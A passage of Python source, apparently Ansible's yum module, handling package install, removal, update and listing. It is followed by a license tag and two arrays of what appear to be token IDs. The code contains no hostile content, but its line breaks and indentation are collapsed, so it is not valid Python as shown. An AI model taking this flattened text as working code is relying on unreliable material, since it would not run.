get_exception() module.fail_json(msg="Failure talking to yum: %s" % e) return [ po_to_nevra(p) for p in pkgs ] else: global rpmbin if not rpmbin: rpmbin = module.get_bin_path('rpm', required=True) cmd = [rpmbin, '-q', '--qf', qf, pkgspec] # rpm localizes messages and we're screen scraping so make sure we use # the C locale lang_env = dict(LANG='C', LC_ALL='C', LC_MESSAGES='C') rc, out, err = module.run_command(cmd, environ_update=lang_env) if rc != 0 and 'is not installed' not in out: module.fail_json(msg='Error from rpm: %s: %s' % (cmd, err)) if 'is not installed' in out: out = '' pkgs = [p for p in out.replace('(none)', '0').split('\n') if p.strip()] if not pkgs and not is_pkg: cmd = [rpmbin, '-q', '--qf', qf, '--whatprovides', pkgspec] rc2, out2, err2 = module.run_command(cmd, environ_update=lang_env) else: rc2, out2, err2 = (0, '', '') if rc2 != 0 and 'no package provides' not in out2: module.fail_json(msg='Error from rpm: %s: %s' % (cmd, err + err2)) if 'no package provides' in out2: out2 = '' pkgs += [p for p in out2.replace('(none)', '0').split('\n') if p.strip()] return pkgs return [] def is_available(module, repoq, pkgspec, conf_file, qf=def_qf, en_repos=None, dis_repos=None): if en_repos is None: en_repos = [] if dis_repos is None: dis_repos = [] if not repoq: pkgs = [] try: my = yum_base(conf_file) for rid in dis_repos: my.repos.disableRepo(rid) for rid in en_repos: my.repos.enableRepo(rid) e,m,u = my.pkgSack.matchPackageNames([pkgspec]) pkgs = e + m if not pkgs: pkgs.extend(my.returnPackagesByDep(pkgspec)) except Exception: e = get_exception() module.fail_json(msg="Failure talking to yum: %s" % e) return [ po_to_nevra(p) for p in pkgs ] else: myrepoq = list(repoq) r_cmd = ['--disablerepo', ','.join(dis_repos)] myrepoq.extend(r_cmd) r_cmd = ['--enablerepo', ','.join(en_repos)] myrepoq.extend(r_cmd) cmd = myrepoq + ["--qf", qf, pkgspec] rc,out,err = module.run_command(cmd) if rc == 0: return [ p for p in out.split('\n') if p.strip() ] else: module.fail_json(msg='Error from repoquery: %s: %s' % (cmd, err)) return [] def is_update(module, repoq, pkgspec, conf_file, qf=def_qf, en_repos=None, dis_repos=None): if en_repos is None: en_repos = [] if dis_repos is None: dis_repos = [] if not repoq: retpkgs = [] pkgs = [] updates = [] try: my = yum_base(conf_file) for rid in dis_repos: my.repos.disableRepo(rid) for rid in en_repos: my.repos.enableRepo(rid) pkgs = my.returnPackagesByDep(pkgspec) + my.returnInstalledPackagesByDep(pkgspec) if not pkgs: e,m,u = my.pkgSack.matchPackageNames([pkgspec]) pkgs = e + m updates = my.doPackageLists(pkgnarrow='updates').updates except Exception: e = get_exception() module.fail_json(msg="Failure talking to yum: %s" % e) for pkg in pkgs: if pkg in updates: retpkgs.append(pkg) return set([ po_to_nevra(p) for p in retpkgs ]) else: myrepoq = list(repoq) r_cmd = ['--disablerepo', ','.join(dis_repos)] myrepoq.extend(r_cmd) r_cmd = ['--enablerepo', ','.join(en_repos)] myrepoq.extend(r_cmd) cmd = myrepoq + ["--pkgnarrow=updates", "--qf", qf, pkgspec] rc,out,err = module.run_command(cmd) if rc == 0: return set([ p for p in out.split('\n') if p.strip() ]) else: module.fail_json(msg='Error from repoquery: %s: %s' % (cmd, err)) return set() def what_provides(module, repoq, req_spec, conf_file, qf=def_qf, en_repos=None, dis_repos=None): if en_repos is None: en_repos = [] if dis_repos is None: dis_repos = [] if req_spec.endswith('.rpm') and '://' not in req_spec: return req_spec elif '://' in req_spec: local_path = fetch_rpm_from_url(req_spec, module=module) return local_path if not repoq: pkgs = [] try: my = yum_base(conf_file) for rid in dis_repos: my.repos.disableRepo(rid) for rid in en_repos: my.repos.enableRepo(rid) pkgs = my.returnPackagesByDep(req_spec) + my.returnInstalledPackagesByDep(req_spec) if not pkgs: e,m,u = my.pkgSack.matchPackageNames([req_spec]) pkgs.extend(e) pkgs.extend(m) e,m,u = my.rpmdb.matchPackageNames([req_spec]) pkgs.extend(e) pkgs.extend(m) except Exception: e = get_exception() module.fail_json(msg="Failure talking to yum: %s" % e) return set([ po_to_nevra(p) for p in pkgs ]) else: myrepoq = list(repoq) r_cmd = ['--disablerepo', ','.join(dis_repos)] myrepoq.extend(r_cmd) r_cmd = ['--enablerepo', ','.join(en_repos)] myrepoq.extend(r_cmd) cmd = myrepoq + ["--qf", qf, "--whatprovides", req_spec] rc,out,err = module.run_command(cmd) cmd = myrepoq + ["--qf", qf, req_spec] rc2,out2,err2 = module.run_command(cmd) if rc == 0 and rc2 == 0: out += out2 pkgs = set([ p for p in out.split('\n') if p.strip() ]) if not pkgs: pkgs = is_installed(module, repoq, req_spec, conf_file, qf=qf) return pkgs else: module.fail_json(msg='Error from repoquery: %s: %s' % (cmd, err + err2)) return set() def transaction_exists(pkglist): """ checks the package list to see if any packages are involved in an incomplete transaction """ conflicts = [] if not transaction_helpers: return conflicts # first, we create a list of the package 'nvreas' # so we can compare the pieces later more easily pkglist_nvreas = [] for pkg in pkglist: pkglist_nvreas.append(splitFilename(pkg)) # next, we build the list of packages that are # contained within an unfinished transaction unfinished_transactions = find_unfinished_transactions() for trans in unfinished_transactions: steps = find_ts_remaining(trans) for step in steps: # the action is install/erase/etc., but we only # care about the package spec contained in the step (action, step_spec) = step (n,v,r,e,a) = splitFilename(step_spec) # and see if that spec is in the list of packages # requested for installation/updating for pkg in pkglist_nvreas: # if the name and arch match, we're going to assume # this package is part of a pending transaction # the label is just for display purposes label = "%s-%s" % (n,a) if n == pkg[0] and a == pkg[4]: if label not in conflicts: conflicts.append("%s-%s" % (n,a)) break return conflicts def local_nvra(module, path): """return nvra of a local rpm passed in""" ts = rpm.TransactionSet() ts.setVSFlags(rpm._RPMVSF_NOSIGNATURES) fd = os.open(path, os.O_RDONLY) try: header = ts.hdrFromFdno(fd) finally: os.close(fd) return '%s-%s-%s.%s' % (header[rpm.RPMTAG_NAME], header[rpm.RPMTAG_VERSION], header[rpm.RPMTAG_RELEASE], header[rpm.RPMTAG_ARCH]) def pkg_to_dict(pkgstr): if pkgstr.strip(): n,e,v,r,a,repo = pkgstr.split('|') else: return {'error_parsing': pkgstr} d = { 'name':n, 'arch':a, 'epoch':e, 'release':r, 'version':v, 'repo':repo, 'nevra': '%s:%s-%s-%s.%s' % (e,n,v,r,a) } if repo == 'installed': d['yumstate'] = 'installed' else: d['yumstate'] = 'available' return d def repolist(module, repoq, qf="%{repoid}"): cmd = repoq + ["--qf", qf, "-a"] rc,out,err = module.run_command(cmd) ret = [] if rc == 0: ret = set([ p for p in out.split('\n') if p.strip() ]) return ret def list_stuff(module, repoquerybin, conf_file, stuff): qf = "%{name}|%{epoch}|%{version}|%{release}|%{arch}|%{repoid}" # is_installed goes through rpm instead of repoquery so it needs a slightly different format is_installed_qf = "%{name}|%{epoch}|%{version}|%{release}|%{arch}|installed\n" repoq = [repoquerybin, '--show-duplicates', '--plugins', '--quiet'] if conf_file and os.path.exists(conf_file): repoq += ['-c', conf_file] if stuff == 'installed': return [ pkg_to_dict(p) for p in sorted(is_installed(module, repoq, '-a', conf_file, qf=is_installed_qf)) if p.strip() ] elif stuff == 'updates': return [ pkg_to_dict(p) for p in sorted(is_update(module, repoq, '-a', conf_file, qf=qf)) if p.strip() ] elif stuff == 'available': return [ pkg_to_dict(p) for p in sorted(is_available(module, repoq, '-a', conf_file, qf=qf)) if p.strip() ] elif stuff == 'repos': return [ dict(repoid=name, state='enabled') for name in sorted(repolist(module, repoq)) if name.strip() ] else: return [ pkg_to_dict(p) for p in sorted(is_installed(module, repoq, stuff, conf_file, qf=is_installed_qf) + is_available(module, repoq, stuff, conf_file, qf=qf)) if p.strip() ] def install(module, items, repoq, yum_basecmd, conf_file, en_repos, dis_repos): pkgs = [] res = {} res['results'] = [] res['msg'] = '' res['rc'] = 0 res['changed'] = False tempdir = tempfile.mkdtemp() for spec in items: pkg = None # check if pkgspec is installed (if possible for idempotence) # localpkg if spec.endswith('.rpm') and '://' not in spec: # get the pkg name-v-r.arch if not os.path.exists(spec): res['msg'] += "No Package file matching '%s' found on system" % spec module.fail_json(**res) nvra = local_nvra(module, spec) # look for them in the rpmdb if is_installed(module, repoq, nvra, conf_file, en_repos=en_repos, dis_repos=dis_repos): # if they are there, skip it continue pkg = spec # URL elif '://' in spec: # download package so that we can check if it's already installed package = fetch_rpm_from_url(spec, module=module) nvra = local_nvra(module, package) if is_installed(module, repoq, nvra, conf_file, en_repos=en_repos, dis_repos=dis_repos): # if it's there, skip it continue pkg = package #groups :( elif spec.startswith('@'): # complete wild ass guess b/c it's a group pkg = spec # range requires or file-requires or pkgname :( else: # most common case is the pkg is already installed and done # short circuit all the bs - and search for it as a pkg in is_installed # if you find it then we're done if not set(['*','?']).intersection(set(spec)): installed_pkgs = is_installed(module, repoq, spec, conf_file, en_repos=en_repos, dis_repos=dis_repos, is_pkg=True) if installed_pkgs: res['results'].append('%s providing %s is already installed' % (installed_pkgs[0], spec)) continue # look up what pkgs provide this pkglist = what_provides(module, repoq, spec, conf_file, en_repos=en_repos, dis_repos=dis_repos) if not pkglist: res['msg'] += "No Package matching '%s' found available, installed or updated" % spec module.fail_json(**res) # if any of the packages are involved in a transaction, fail now # so that we don't hang on the yum operation later conflicts = transaction_exists(pkglist) if len(conflicts) > 0: res['msg'] += "The following packages have pending transactions: %s" % ", ".join(conflicts) module.fail_json(**res) # if any of them are installed # then nothing to do found = False for this in pkglist: if is_installed(module, repoq, this, conf_file, en_repos=en_repos, dis_repos=dis_repos, is_pkg=True): found = True res['results'].append('%s providing %s is already installed' % (this, spec)) break # if the version of the pkg you have installed is not in ANY repo, but there are # other versions in the repos (both higher and lower) then the previous checks won't work. # so we check one more time. This really only works for pkgname - not for file provides or virt provides # but virt provides should be all caught in what_provides on its own. # highly irritating if not found: if is_installed(module, repoq, spec, conf_file, en_repos=en_repos, dis_repos=dis_repos): found = True res['results'].append('package providing %s is already installed' % (spec)) if found: continue # if not - then pass in the spec as what to install # we could get here if nothing provides it but that's not # the error we're catching here pkg = spec pkgs.append(pkg) if pkgs: cmd = yum_basecmd + ['install'] + pkgs if module.check_mode: # Remove rpms downloaded for EL5 via url try: shutil.rmtree(tempdir) except Exception: e = get_exception() module.fail_json(msg="Failure deleting temp directory %s, %s" % (tempdir, e)) module.exit_json(changed=True, results=res['results'], changes=dict(installed=pkgs)) changed = True lang_env = dict(LANG='C', LC_ALL='C', LC_MESSAGES='C') rc, out, err = module.run_command(cmd, environ_update=lang_env) if (rc == 1): for spec in items: # Fail on invalid urls: if ('://' in spec and ('No package %s available.' % spec in out or 'Cannot open: %s. Skipping.' % spec in err)): err = 'Package at %s could not be installed' % spec module.fail_json(changed=False,msg=err,rc=1) if (rc != 0 and 'Nothing to do' in err) or 'Nothing to do' in out: # avoid failing in the 'Nothing To Do' case # this may happen with an URL spec. # for an already installed group, # we get rc = 0 and 'Nothing to do' in out, not in err. rc = 0 err = '' out = '%s: Nothing to do' % spec changed = False res['rc'] = rc res['results'].append(out) res['msg'] += err # FIXME - if we did an install - go and check the rpmdb to see if it actually installed # look for each pkg in rpmdb # look for each pkg via obsoletes # Record change res['changed'] = changed # Remove rpms downloaded for EL5 via url try: shutil.rmtree(tempdir) except Exception: e = get_exception() module.fail_json(msg="Failure deleting temp directory %s, %s" % (tempdir, e)) return res def remove(module, items, repoq, yum_basecmd, conf_file, en_repos, dis_repos): pkgs = [] res = {} res['results'] = [] res['msg'] = '' res['changed'] = False res['rc'] = 0 for pkg in items: is_group = False # group remove - this is doom on a stick if pkg.startswith('@'): is_group = True else: if not is_installed(module, repoq, pkg, conf_file, en_repos=en_repos, dis_repos=dis_repos): res['results'].append('%s is not installed' % pkg) continue pkgs.append(pkg) if pkgs: # run an actual yum transaction cmd = yum_basecmd + ["remove"] + pkgs if module.check_mode: module.exit_json(changed=True, results=res['results'], changes=dict(removed=pkgs)) rc, out, err = module.run_command(cmd) res['rc'] = rc res['results'].append(out) res['msg'] = err # compile the results into one batch. If anything is changed # then mark changed # at the end - if we've end up failed then fail out of the rest # of the process # at this point we should check to see if the pkg is no longer present for pkg in pkgs: if not pkg.startswith('@'): # we can't sensibly check for a group being uninstalled reliably # look to see if the pkg shows up from is_installed. If it doesn't if not is_installed(module, repoq, pkg, conf_file, en_repos=en_repos, dis_repos=dis_repos): res['changed'] = True else: module.fail_json(**res) if rc != 0: module.fail_json(**res) return res def latest(module, items, repoq, yum_basecmd, conf_file, en_repos, dis_repos): res = {} res['results'] = [] res['msg'] = '' res['changed'] = False res['rc'] = 0 pkgs = {} pkgs['update'] = [] pkgs['install'] = [] updates = {} update_all = False cmd = None # determine if we're doing an update all if '*' in items: update_all = True # run check-update to see if we have packages pending rc, out, err = module.run_command(yum_basecmd + ['check-update']) if rc == 0 and update_all: res['results'].append('Nothing to do here, all packages are up to date') return res elif rc == 100: available_updates = out.split('\n') # build update dictionary for line in available_updates: line = line.split() # ignore irrelevant lines # FIXME... revisit for something less kludgy if '*' in line or len(line) != 3 or '.' not in line[0]: continue else: pkg, version, repo = line name, dist = pkg.rsplit('.', 1) updates.update({name: {'version': version, 'dist': dist, 'repo': repo}}) elif rc == 1: res['msg'] = err res['rc'] = rc module.fail_json(**res) if update_all: cmd = yum_basecmd + ['update'] will_update = set(updates.keys()) will_update_from_other_package = dict() else: will_update = set() will_update_from_other_package = dict() for spec in items: # some guess work involved with groups. update @<group> will install the group if missing if spec.startswith('@'): pkgs['update'].append(spec) continue # dep/pkgname - find it else: if is_installed(module, repoq, spec, conf_file, en_repos=en_repos, dis_repos=dis_repos): pkgs['update'].append(spec) else: pkgs['install'].append(spec) pkglist = what_provides(module, repoq, spec, conf_file, en_repos=en_repos, dis_repos=dis_repos) # FIXME..? may not be desirable to throw an exception here if a single package is missing if not pkglist: res['msg'] += "No Package matching '%s' found available, installed or updated" % spec module.fail_json(**res) nothing_to_do = True for this in pkglist: if spec in pkgs['install'] and is_available(module, repoq, this, conf_file, en_repos=en_repos, dis_repos=dis_repos): nothing_to_do = False break # this contains the full NVR and spec could contain wildcards # or virtual provides (like "python-*" or "smtp-daemon") while # updates contains name only. this_name_only = '-'.join(this.split('-')[:-2]) if spec in pkgs['update'] and this_name_only in updates.keys(): nothing_to_do = False will_update.add(spec) # Massage the updates list if spec != this_name_only: # For reporting what packages would be updated more # succinctly will_update_from_other_package[spec] = this_name_only break if nothing_to_do: res['results'].append("All packages providing %s are up to date" % spec) continue # if any of the packages are involved in a transaction, fail now # so that we don't hang on the yum operation later conflicts = transaction_exists(pkglist) if len(conflicts) > 0: res['msg'] += "The following packages have pending transactions: %s" % ", ".join(conflicts) module.fail_json(**res) # check_mode output if module.check_mode: to_update = [] for w in will_update: if w.startswith('@'): to_update.append((w, None)) msg = '%s will be updated' % w elif w not in updates: other_pkg = will_update_from_other_package[w] to_update.append((w, 'because of (at least) %s-%s.%s from %s' % (other_pkg, updates[other_pkg]['version'], updates[other_pkg]['dist'], updates[other_pkg]['repo']))) else: to_update.append((w, '%s.%s from %s' % (updates[w]['version'], updates[w]['dist'], updates[w]['repo']))) res['changes'] = dict(installed=pkgs['install'], updated=to_update) if len(will_update) > 0 or len(pkgs['install']) > 0: res['changed'] = True return res # run commands if cmd: # update all rc, out, err = module.run_command(cmd) res['changed'] = True else: if len(pkgs['install']) > 0: # install missing cmd = yum_basecmd + ['install'] + pkgs['install'] rc, out, err = module.run_command(cmd) res['changed'] = True else: rc, out, err = [0, '', ''] if len(will_update) > 0: # update present cmd = yum_basecmd + ['update'] + pkgs['update'] rc2, out2, err2 = module.run_command(cmd) res['changed'] = True else: rc2, out2, err2 = [0, '', ''] if not update_all: rc += rc2 out += out2 err += err2 res['rc'] += rc res['msg'] += err res['results'].append(out) if rc: res['failed'] = True return res def ensure(module, state, pkgs, conf_file, enablerepo, disablerepo, disable_gpg_check, exclude, repoq): yumbin = module.get_bin_path('yum') # need debug level 2 to get 'Nothing to do' for groupinstall. yum_basecmd = [yumbin, '-d', '2', '-y'] if conf_file and os.path.exists(conf_file): yum_basecmd += ['-c', conf_file] if repoq: repoq += ['-c', conf_file] dis_repos =[] en_repos = [] if disablerepo: dis_repos = disablerepo.split(',') r_cmd = ['--disablerepo=%s' % disablerepo] yum_basecmd.extend(r_cmd) if enablerepo: en_repos = enablerepo.split(',') r_cmd = ['--enablerepo=%s' % enablerepo] yum_basecmd.extend(r_cmd) if exclude: e_cmd = ['--exclude=%s' % exclude] yum_basecmd.extend(e_cmd) if state in ['installed', 'present', 'latest']: if module.params.get('update_cache'): module.run_command(yum_basecmd + ['makecache']) my = yum_base(conf_file) try: if disablerepo: my.repos.disableRepo(disablerepo) current_repos = my.repos.repos.keys() if enablerepo: try: my.repos.enableRepo(enablerepo) new_repos = my.repos.repos.keys() for i in new_repos: if not i in current_repos: rid = my.repos.getRepo(i) a = rid.repoXML.repoid current_repos = new_repos except yum.Errors.YumBaseError: e = get_exception() module.fail_json(msg="Error setting/accessing repos: %s" % (e)) except yum.Errors.YumBaseError: e = get_exception() module.fail_json(msg="Error accessing repos: %s" % e) if state in ['installed', 'present']: if disable_gpg_check: yum_basecmd.append('--nogpgcheck') res = install(module, pkgs, repoq, yum_basecmd, conf_file, en_repos, dis_repos) elif state in ['removed', 'absent']: res = remove(module, pkgs, repoq, yum_basecmd, conf_file, en_repos, dis_repos) elif state == 'latest': if disable_gpg_check: yum_basecmd.append('--nogpgcheck') res = latest(module, pkgs, repoq, yum_basecmd, conf_file, en_repos, dis_repos) else: # should be caught by AnsibleModule argument_spec module.fail_json(msg="we should never get here unless this all" " failed", changed=False, results='', errors='unepected state') return res def main(): # state=installed name=pkgspec # state=removed name=pkgspec # state=latest name=pkgspec # # informational commands: # list=installed # list=updates # list=available # list=repos # list=pkgspec module = AnsibleModule( argument_spec = dict( name=dict(aliases=['pkg'], type="list"), exclude=dict(required=False, default=None), # removed==absent, installed==present, these are accepted as aliases state=dict(default='installed', choices=['absent','present','installed','removed','latest']), enablerepo=dict(), disablerepo=dict(), list=dict(), conf_file=dict(default=None), disable_gpg_check=dict(required=False, default="no", type='bool'), update_cache=dict(required=False, default="no", type='bool'), validate_certs=dict(required=False, default="yes", type='bool'), # this should not be needed, but exists as a failsafe install_repoquery=dict(required=False, default="yes", type='bool'), ), required_one_of = [['name','list']], mutually_exclusive = [['name','list']], supports_check_mode = True ) params = module.params if params['list']: repoquerybin = ensure_yum_utils(module) if not repoquerybin: module.fail_json(msg="repoquery is required to use list= with this module. Please install the yum-utils package.") results = dict(results=list_stuff(module, repoquerybin, params['conf_file'], params['list'])) else: # If rhn-plugin is installed and no rhn-certificate is available on # the system then users will see an error message using the yum API. # Use repoquery in those cases. my = yum_base(params['conf_file']) # A sideeffect of accessing conf is that the configuration is # loaded and plugins are discovered my.conf repoquery = None try: yum_plugins = my.plugins._plugins except AttributeError: pass else: if 'rhnplugin' in yum_plugins: repoquerybin = ensure_yum_utils(module) if repoquerybin: repoquery = [repoquerybin, '--show-duplicates', '--plugins', '--quiet'] pkg = [ p.strip() for p in params['name']] exclude = params['exclude'] state = params['state'] enablerepo = params.get('enablerepo', '') disablerepo = params.get('disablerepo', '') disable_gpg_check = params['disable_gpg_check'] results = ensure(module, state, pkg, params['conf_file'], enablerepo, disablerepo, disable_gpg_check, exclude, repoquery) if repoquery: results['msg'] = '%s %s' % (results.get('msg',''), 'Warning: Due to potential bad behaviour with rhnplugin and certificates, used slower repoquery calls instead of Yum API.') module.exit_json(**results) # import module snippets from ansible.module_utils.basic import * from ansible.module_utils.urls import * if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 446, 6215, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 6029, 12, 9572, 13002, 12, 3277, 199, 3, 27694, 701, 3240, 273, 812, 344, 279, 665, 1339, 5017, 279, 737, 23036, 269, 30204, 963, 14, 1308, 30, 199, 3, 334, 67, 9, 6927, 12, 662, 12475, 598, 14015, 12, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 646, 747, 199, 646, 24717, 199, 646, 21980, 199, 646, 4298, 199, 646, 5549, 199, 646, 5145, 199, 504, 7065, 14, 1023, 492, 18462, 199, 199, 893, 26, 272, 687, 24717, 14, 9923, 492, 2342, 63, 324, 8669, 63, 13754, 12, 2342, 63, 1086, 63, 11266, 272, 687, 21980, 7535, 14, 9923, 1208, 492, 3715, 8117, 272, 6008, 63, 7546, 275, 715, 199, 2590, 26, 272, 6008, 63, 7546, 275, 756, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 24717, 199, 1023, 63, 3270, 26, 32530, 199, 3612, 63, 1802, 26, 21612, 6117, 543, 314, 473, 8, 22108, 9, 2559, 5256, 199, 1802, 26, 1362, 446, 13276, 83, 12, 10754, 12, 14185, 12, 436, 5548, 6117, 436, 4652, 543, 314, 473, 8, 22108, 9, 2559, 5256, 14, 199, 1419, 26, 523, 536, 26, 272, 1369, 26, 489, 446, 298, 8599, 536, 12, 503, 2559, 16628, 543, 1015, 12, 2839, 445, 8, 354, 13, 17, 14, 16, 680, 3979, 1808, 1174, 29, 7410, 12, 642, 883, 506, 13626, 1314, 4910, 1255, 26, 24717, 446, 89, 1678, 14, 2047, 883, 2597, 986, 282, 1166, 503, 282, 2257, 931, 370, 282, 21980, 570, 334, 4941, 1174, 29, 1881, 680, 221, 4005, 19218, 641, 9978, 6117, 642, 883, 4729, 282, 10029, 11673, 769, 402, 6117, 503, 334, 305, 402, 499, 14, 16, 9, 282, 769, 402, 6117, 2122, 272, 1415, 26, 2549, 272, 849, 26, 2973, 272, 5481, 26, 359, 283, 4600, 7, 1622, 523, 5760, 26, 272, 1369, 26, 489, 446, 298, 8599, 536, 8, 83, 9, 370, 5760, 1380, 1174, 29, 1881, 12, 503, 8839, 2, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 18, 14, 16, 2, 272, 849, 26, 2973, 523, 769, 26, 272, 1369, 26, 489, 446, 21107, 1785, 334, 2865, 13, 21307, 9, 3718, 367, 4503, 543, 445, 29478, 2647, 15, 1393, 15, 4853, 9, 436, 473, 8, 1397, 9, 5232, 8858, 14, 1666, 7251, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 523, 1174, 26, 272, 1369, 26, 489, 446, 7480, 370, 3907, 334, 35, 8, 1881, 9, 503, 445, 8, 7657, 395, 445, 8, 7410, 1826, 503, 2813, 334, 35, 8, 5575, 9, 503, 445, 8, 10649, 430, 282, 2559, 14, 272, 1415, 26, 3055, 272, 3415, 26, 359, 298, 1881, 401, 298, 7657, 401, 298, 7410, 401, 298, 5575, 401, 298, 10649, 2, 1622, 272, 849, 26, 298, 1881, 2, 523, 4756, 3417, 26, 272, 1369, 26, 489, 446, 473, 8, 11334, 344, 9, 402, 23737, 370, 4756, 367, 314, 3907, 15, 873, 3439, 14, 267, 5723, 20416, 911, 440, 22400, 20561, 314, 6008, 14, 267, 3979, 9176, 3663, 20416, 12, 7396, 3062, 543, 282, 19089, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 16, 14, 25, 2, 272, 849, 26, 2973, 272, 5481, 26, 942, 819, 3507, 3417, 26, 272, 1369, 26, 489, 446, 473, 8, 11334, 344, 9, 402, 23737, 370, 3507, 367, 314, 3907, 15, 873, 3439, 14, 267, 5723, 20416, 911, 440, 22400, 20561, 314, 6008, 14, 267, 3979, 9176, 3663, 20416, 12, 7396, 3062, 543, 282, 19089, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 16, 14, 25, 2, 272, 849, 26, 2973, 272, 5481, 26, 942, 819, 3743, 63, 493, 26, 272, 1369, 26, 489, 446, 710, 3982, 24717, 2897, 570, 370, 675, 367, 314, 6008, 14, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 16, 14, 22, 2, 272, 849, 26, 2973, 272, 5481, 26, 942, 819, 3507, 63, 21284, 63, 1074, 26, 272, 1369, 26, 489, 446, 7480, 370, 3507, 314, 598, 11115, 7907, 402, 17597, 402, 6117, 3769, 267, 4903, 14, 13481, 376, 7763, 1454, 340, 1174, 365, 473, 8, 1881, 9, 503, 473, 8, 7410, 680, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 17, 14, 18, 2, 272, 849, 26, 298, 889, 2, 272, 3415, 26, 2097, 5066, 401, 298, 889, 937, 272, 5481, 26, 942, 819, 1678, 63, 1637, 26, 272, 1369, 26, 489, 446, 18771, 12928, 314, 2581, 14, 13481, 376, 7763, 1454, 340, 1174, 365, 473, 8, 1881, 9, 267, 503, 473, 8, 7410, 680, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 17, 14, 25, 2, 272, 849, 26, 298, 889, 2, 272, 3415, 26, 2097, 5066, 401, 298, 889, 937, 272, 5481, 26, 942, 819, 4107, 63, 8356, 26, 272, 1369, 26, 489, 446, 961, 1454, 12966, 340, 1808, 282, 4178, 1166, 465, 314, 1350, 402, 314, 21980, 14, 325, 14, 71, 14, 367, 2257, 3174, 14, 982, 663, 370, 445, 8, 889, 395, 314, 7799, 14512, 911, 440, 506, 16468, 14, 489, 446, 961, 1077, 1454, 663, 370, 445, 8, 889, 9, 1202, 641, 4954, 1183, 22284, 15424, 1808, 291, 13, 1737, 14512, 465, 652, 23674, 31866, 314, 1350, 4770, 14 ]
[ 2647, 15, 1393, 15, 1548, 446, 6215, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 6029, 12, 9572, 13002, 12, 3277, 199, 3, 27694, 701, 3240, 273, 812, 344, 279, 665, 1339, 5017, 279, 737, 23036, 269, 30204, 963, 14, 1308, 30, 199, 3, 334, 67, 9, 6927, 12, 662, 12475, 598, 14015, 12, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 646, 747, 199, 646, 24717, 199, 646, 21980, 199, 646, 4298, 199, 646, 5549, 199, 646, 5145, 199, 504, 7065, 14, 1023, 492, 18462, 199, 199, 893, 26, 272, 687, 24717, 14, 9923, 492, 2342, 63, 324, 8669, 63, 13754, 12, 2342, 63, 1086, 63, 11266, 272, 687, 21980, 7535, 14, 9923, 1208, 492, 3715, 8117, 272, 6008, 63, 7546, 275, 715, 199, 2590, 26, 272, 6008, 63, 7546, 275, 756, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 24717, 199, 1023, 63, 3270, 26, 32530, 199, 3612, 63, 1802, 26, 21612, 6117, 543, 314, 473, 8, 22108, 9, 2559, 5256, 199, 1802, 26, 1362, 446, 13276, 83, 12, 10754, 12, 14185, 12, 436, 5548, 6117, 436, 4652, 543, 314, 473, 8, 22108, 9, 2559, 5256, 14, 199, 1419, 26, 523, 536, 26, 272, 1369, 26, 489, 446, 298, 8599, 536, 12, 503, 2559, 16628, 543, 1015, 12, 2839, 445, 8, 354, 13, 17, 14, 16, 680, 3979, 1808, 1174, 29, 7410, 12, 642, 883, 506, 13626, 1314, 4910, 1255, 26, 24717, 446, 89, 1678, 14, 2047, 883, 2597, 986, 282, 1166, 503, 282, 2257, 931, 370, 282, 21980, 570, 334, 4941, 1174, 29, 1881, 680, 221, 4005, 19218, 641, 9978, 6117, 642, 883, 4729, 282, 10029, 11673, 769, 402, 6117, 503, 334, 305, 402, 499, 14, 16, 9, 282, 769, 402, 6117, 2122, 272, 1415, 26, 2549, 272, 849, 26, 2973, 272, 5481, 26, 359, 283, 4600, 7, 1622, 523, 5760, 26, 272, 1369, 26, 489, 446, 298, 8599, 536, 8, 83, 9, 370, 5760, 1380, 1174, 29, 1881, 12, 503, 8839, 2, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 18, 14, 16, 2, 272, 849, 